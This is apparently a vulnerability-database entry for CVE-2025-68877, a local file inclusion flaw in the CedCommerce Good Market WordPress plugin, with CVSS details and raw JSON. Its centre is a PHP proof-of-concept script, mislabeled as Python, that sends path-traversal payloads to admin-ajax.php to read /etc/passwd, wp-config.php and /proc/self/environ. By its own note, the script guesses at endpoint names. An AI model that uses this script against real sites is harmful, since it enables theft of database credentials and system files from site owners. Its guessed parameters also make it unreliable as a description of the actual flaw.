Security Vulnerability Report
中文
CVE-2025-68877 CVSS 7.5 HIGH

CVE-2025-68877

Published: 2025-12-29 16:15:43
Last Modified: 2026-04-23 15:36:11

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in cedcommerce CedCommerce Integration for Good Market ced-good-market-integration allows PHP Local File Inclusion.This issue affects CedCommerce Integration for Good Market: from n/a through <= 1.0.6.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ced-good-market-integration <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68877 PoC - CedCommerce Integration for Good Market LFI * Target: WordPress ced-good-market-integration plugin <= 1.0.6 * Note: Adjust the endpoint path based on actual plugin structure */ $target = 'http://target-site.com/wp-admin/admin-ajax.php'; $plugin_path = '/wp-content/plugins/ced-good-market-integration/'; // Common vulnerable endpoints in CedCommerce plugins $vulnerable_params = [ 'section' => '../../../../../../etc/passwd', 'file' => '../../../../../../wp-config.php', 'view' => '../../../../../../etc/hosts', 'template' => '../../../../../../proc/self/environ' ]; foreach ($vulnerable_params as $param => $path) { $data = [ 'action' => 'ced_get_good_market_' . $param, $param => $path ]; $ch = curl_init($target); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "Testing $param: HTTP $http_code\n"; if (strpos($response, 'root:') !== false || strpos($response, 'DB_NAME') !== false || strpos($response, '<?php') !== false) { echo "[+] VULNERABLE! Read: $path\n"; echo "Response excerpt: " . substr($response, 0, 200) . "\n\n"; } } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68877", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:42.870", "lastModified": "2026-04-23T15:36:10.967", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in cedcommerce CedCommerce Integration for Good Market ced-good-market-integration allows PHP Local File Inclusion.This issue affects CedCommerce Integration for Good Market: from n/a through <= 1.0.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ced-good-market-integration/vulnerability/wordpress-cedcommerce-integration-for-good-market-plugin-1-0-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}